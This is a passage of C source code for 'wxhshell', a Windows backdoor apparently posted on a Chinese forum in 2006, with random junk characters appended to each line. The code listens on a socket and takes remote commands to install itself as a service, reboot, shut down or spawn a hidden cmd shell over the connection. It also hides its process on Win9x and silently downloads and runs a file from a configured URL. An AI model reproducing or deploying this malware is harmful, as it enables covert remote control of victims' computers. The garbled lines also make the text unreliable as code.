  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K/L;8a  
  } S >yLqPp  
  else { %}-?bHB1c  
G2Vv i[c  
    switch(cmd[0]) { P 43P]M2  
  0[Ht_qxb  
  // 帮助 rx0~`cVV:  
  case '?': { -' g*^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); i,I B!x  
    break; H/+B%2Zj  
  } z^<L(/rg9"  
  // 安装 UC HZ2&  
  case 'i': { 3]RyTQ  
    if(Install()) +Q$h ]^>~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tM4 Cx  
    else TX=yPq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T4)fOu3]  
    break; m3bCZ 9iE  
    } ) ZfdQ3  
  // 卸载 y5r4+2B  
  case 'r': { \xv;sl$f  
    if(Uninstall()) Fqy\CMC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t.p~\6Yi  
    else U;N:j8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8[vc?+>&  
    break; @$9'@")  
    } F$BbYf2i  
  // 显示 wxhshell 所在路径 #@HF<'H}mu  
  case 'p': { 9KWuN:Sg  
    char svExeFile[MAX_PATH]; ~6YMD  
    strcpy(svExeFile,"\n\r"); -m *Sq  
      strcat(svExeFile,ExeFile); Lk\P7w{  
        send(wsh,svExeFile,strlen(svExeFile),0); u .f= te  
    break; 21hv%CF\9  
    } ^XbU~3(  
  // 重启 }}v9 `F  
  case 'b': { js iSg/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WHXj8*]6  
    if(Boot(REBOOT)) SZaS;hhhHu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [S5\#=_4S  
    else { ~5FW [_  
    closesocket(wsh); I[)%,jd  
    ExitThread(0); Od f[*  
    } 7xRl9  
    break; &xRo^iV?  
    } Q></`QWpoB  
  // 关机 L:XC  
  case 'd': { wO?{?+I`q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "&/-N[is  
    if(Boot(SHUTDOWN)) c\a_VRN>r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '5&s=M_  
    else { 8NyJc"T<.  
    closesocket(wsh); [ ol9|sdu  
    ExitThread(0); kuyjnSo9i  
    } jC bV,0)^  
    break; y@0E[/O  
    } BauU{:Sh  
  // 获取shell C8 \5A8c  
  case 's': { DL$@?.?I  
    CmdShell(wsh); :#@= B]  
    closesocket(wsh); 7}M2bH} \K  
    ExitThread(0); PDs@?nz,  
    break; $Y69@s%f  
  } ;)N>t\v  
  // 退出 wF((  
  case 'x': { 94B\5I}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hzkcP  
    CloseIt(wsh); "g$IP9?U  
    break; /p8dZ+X  
    } DI+fwXeg  
  // 离开 qkiI/nH3  
  case 'q': { u\C lP#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); bv&;R  
    closesocket(wsh); t+9][Adf  
    WSACleanup(); ty8v 6J#  
    exit(1); ")d`dj\o  
    break; d_IAs  
        } Djg,Lvhm  
  } Na:w]r:y  
  } ,7<f9 EVY  
"'D=,*  
  // 提示信息 c%MW\qx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l1f\=G?tmU  
} %i5M77#Z  
  } \otWd  
 4^M  
  return; N;\'N ne  
} AvfNwE  
#{?qNl8F*J  
// shell模块句柄 @3zg=?3  
int CmdShell(SOCKET sock) !QvZ<5(  
{ +0OLc2 )w  
STARTUPINFO si; ZpnxecJUJ  
ZeroMemory(&si,sizeof(si)); Za 1QC;7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r-Pkfy(  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H '  
PROCESS_INFORMATION ProcessInfo; 3f,hw5R  
char cmdline[]="cmd"; ljb7oA3cP4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [PDNwh0g5  
  return 0; Q\ 0cvmU  
} p>4-s, W  
dw*_(ys  
// 自身启动模式 XCBL}pNkR  
int StartFromService(void) >Wv;R2|  
{ A<??T[  
typedef struct ~^1{B\I  
{ CLUW!F  
  DWORD ExitStatus; ev*k*0  
  DWORD PebBaseAddress; Ru>MFG  
  DWORD AffinityMask; oM>Z;QVRC:  
  DWORD BasePriority; t+!$[K0/  
  ULONG UniqueProcessId; ?vbvBu{a  
  ULONG InheritedFromUniqueProcessId; h-` }L=  
}   PROCESS_BASIC_INFORMATION; ]GW]dM  
dZ0A3(t  
PROCNTQSIP NtQueryInformationProcess; e]zBf;9 J  
)8$=C#qC[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^G}47(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; rR(X9i  
% ~H=sjg  
  HANDLE             hProcess; u)+8S/ )  
  PROCESS_BASIC_INFORMATION pbi; E? ; 0)'h  
T7hcnF$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |R/%D%_g  
  if(NULL == hInst ) return 0; A;]}m8(*  
1=d6NX)B  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \D*KGd]M0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 62ws/8d6f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yp^rR }N  
k@k&}N0{  
  if (!NtQueryInformationProcess) return 0; `T5W}p[6  
]1#e#M]#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Yfzl%wc  
  if(!hProcess) return 0; ~E2KZm  
lww!-(<ww  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ng~FEl  
H[U!%Z  
  CloseHandle(hProcess); 3cK I  
Ws|j#X<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2{H@(Vgpbr  
if(hProcess==NULL) return 0; Dv5D~on{  
#_^Lb]jkM  
HMODULE hMod; e#$]Y?,  
char procName[255]; G}b]w~ML ~  
unsigned long cbNeeded; #Y a4ps_  
ix)M`F%P3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $QN"w L||  
4NheWM6  
  CloseHandle(hProcess); \o*5  
/<|%yE&KhJ  
if(strstr(procName,"services")) return 1; // 以服务启动 [\v}Ul  
s %j_H  
  return 0; // 注册表启动 ux vqMgR  
} +0nJ  
Y)*#)f  
// 主模块 EyJJ0  
int StartWxhshell(LPSTR lpCmdLine) (X\@t-8  
{ JfLqtXF[&"  
  SOCKET wsl; !>..Q)z  
BOOL val=TRUE; Q ayPo]O  
  int port=0; S2sQOM@  
  struct sockaddr_in door; jFL #s&ft  
1\ o59Y  
  if(wscfg.ws_autoins) Install(); =Y|VgV  
r1 !@hT  
port=atoi(lpCmdLine); `yrB->|vG  
L*xhGoC=  
if(port<=0) port=wscfg.ws_port; ?PeJlpYzV  
s >7}zU]  
  WSADATA data; "O3tq =Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vWz m @  
` Mjj@[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *\+\5pu0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PUp6Q;AdQ  
  door.sin_family = AF_INET; H<i]V9r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); c|e~BQdRw  
  door.sin_port = htons(port); [%y';`( x  
[1g8*j~L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { AG`L64B  
closesocket(wsl); A5c%SCq;  
return 1; i [7\[  
} ^}/PGG\~r  
le|~BG hL  
  if(listen(wsl,2) == INVALID_SOCKET) { <\r T%f}3^  
closesocket(wsl); UZ\u;/}  
return 1; 4":KoS`,j  
} K[YI4pt7  
  Wxhshell(wsl); kCWV r  
  WSACleanup(); YxYH2*q@  
>JHryS.j$4  
return 0; :~"CuB/  
g:g\>@Umo  
} FH?U(-  
\)#kquH/l  
// 以NT服务方式启动 1H? u Qy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?~BC#B\>o  
{ Gw/Pk4R  
DWORD   status = 0; S 6@u@C  
  DWORD   specificError = 0xfffffff;  eI$oLl@  
Yb|c\[ %  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aH)}/n  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Hq'`8f8N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PxWT1 !  
  serviceStatus.dwWin32ExitCode     = 0; e24WW^S  
  serviceStatus.dwServiceSpecificExitCode = 0; o[Q MTP  
  serviceStatus.dwCheckPoint       = 0; XKj|f`  
  serviceStatus.dwWaitHint       = 0; ]#)()6)2v  
BTqS'NuT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ! `   
  if (hServiceStatusHandle==0) return; ] {RDVA=]  
;w{tv($$  
status = GetLastError(); !"?#6-,Xn  
  if (status!=NO_ERROR) '.IW.{;$  
{ #++lg{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; &FMc?wq  
    serviceStatus.dwCheckPoint       = 0; R1adWBD>  
    serviceStatus.dwWaitHint       = 0; + [iQLM?zo  
    serviceStatus.dwWin32ExitCode     = status; 132{# tG]  
    serviceStatus.dwServiceSpecificExitCode = specificError; }|0^EWL  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZQ4p(6a   
    return; %aG5F}S2~  
  } 9vuyv*-}e  
g/ T   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; | k&Ck  
  serviceStatus.dwCheckPoint       = 0; [L3=x;U  
  serviceStatus.dwWaitHint       = 0; hci6P>h<ia  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ? &o2st  
} pA'4|ffwe  
fx41,0;gZq  
// 处理NT服务事件,比如:启动、停止 b z`+k,*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B nFwlw  
{ dP9qSwTa  
switch(fdwControl) b6 cBg  
{ N]>=p.#j  
case SERVICE_CONTROL_STOP: zGb|)A~,  
  serviceStatus.dwWin32ExitCode = 0; 5kc/Y/4o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f',Op1o  
  serviceStatus.dwCheckPoint   = 0; \j@OZ   
  serviceStatus.dwWaitHint     = 0; R/~p>apg8  
  { 6dq(T_eG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ne>pOK<vZ  
  } Nyku4r0  
  return; (yH'{6g\  
case SERVICE_CONTROL_PAUSE: )Kc<j!8-[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $SlIr<'*"  
  break; %f&/E"M  
case SERVICE_CONTROL_CONTINUE: K0u|U`   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,;EIh}  
  break;  :|>h7v  
case SERVICE_CONTROL_INTERROGATE: G)EU_UE 9  
  break; 8zZvht*  
}; h{)kQLuzT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ep!Rf:  
} H[6:_**?o  
]~Rho_mq#  
// 标准应用程序主函数 H*d9l2,KZS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]AINK UI0  
{ O*hDbM2QQw  
S] }nm  
// 获取操作系统版本 %|s; C  
OsIsNt=GetOsVer(); aB_F9;IR  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EuZ<quwWg  
@:oXN]+ _  
  // 从命令行安装 Ot4 Z{mA  
  if(strpbrk(lpCmdLine,"iI")) Install(); Xpr?Kgz  
Y xr>"KH6a  
  // 下载执行文件 T:27r8"Rh  
if(wscfg.ws_downexe) { v"y-0$M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JA %J$d  
  WinExec(wscfg.ws_filenam,SW_HIDE); \ ZgE  
} /Wi[OT14  
cq,SP&T~  
if(!OsIsNt) { +^` I?1\UF  
// 如果时win9x,隐藏进程并且设置为注册表启动 &y\prip  
HideProc(); Gw}%{=D9  
StartWxhshell(lpCmdLine); n<Z({\9&H  
} y*4=c _Z  
else :vmH]{R  
  if(StartFromService()) {j{u6i  
  // 以服务方式启动 8o3E0k1  
  StartServiceCtrlDispatcher(DispatchTable); %"q9:{m  
else 2":pE U{E  
  // 普通方式启动 P}Gj %4/G  
  StartWxhshell(lpCmdLine); M,j U}yD3  
%:M ^4~dc  
return 0; ${<%" hR$  
}
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只看该作者 1 发表于: 2006-10-10
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